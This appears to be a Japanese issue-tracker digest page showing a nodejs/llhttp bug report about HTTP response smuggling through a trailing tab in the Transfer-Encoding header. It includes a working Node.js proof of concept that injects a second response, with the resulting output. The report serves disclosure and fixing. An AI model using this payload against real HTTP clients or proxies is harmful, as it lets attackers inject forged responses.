HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`

オープン
#876 コメント 1 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
52/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
活発
技術スタック
node.js, typescript

調査の方向性

header_value_te_chunked_last と header_value_te_token のパスから始め、forbidAfterChunkedInRequest と lenient_transfer_encoding がレスポンスのパースにどう影響するかを確認します。提供された Node.js PoC を再現し、末尾の HTAB が除去された OWS と同様に扱われ、chunked フレーミング、正しい body の配信、一貫したメッセージ境界になることを検証します。

索引モデルが issue の本文から書いたものです。

説明

RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.

Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.

PoC

const http = require('http'), net = require('net');

const RESP =
  'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' +   // note the trailing TAB
  '5\r\nhello\r\n0\r\n\r\n' +                                   // a complete chunked body
  'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!';      // a second, separate response

const origin = net.createServer(c =>
  c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));

origin.listen(0, () => http.get({ port: origin.address().port }, res => {
  let body = '';
  res.on('data', c => body += c);
  res.on('end', () => {
    console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
    console.log('res.complete                     =', res.complete);
    console.log('body                             =', JSON.stringify(body));
    origin.close();
  });
}));
res.headers['transfer-encoding'] = "chunked"
res.complete                     = true
body                             = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"

Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.

The same bytes, parsed with the tab stripped, yield a different message count:

tab NOT stripped (llhttp):   headers_complete chunked=0 keepalive=0   body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped:                headers_complete chunked=1 keepalive=1   body(5) 'hello'   message_complete
                             headers_complete status=200 content_length=9  body(9) 'INJECTED!'  message_complete

One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.

主要言語
TypeScript
スター
1.9k
フォーク
237
PR マージ指標
30日以内にマージされた PR はありません

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

nodejs/llhttp のほかの issue

nodejs/llhttp の issue をすべて見る

似ている issue

TypeScript の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。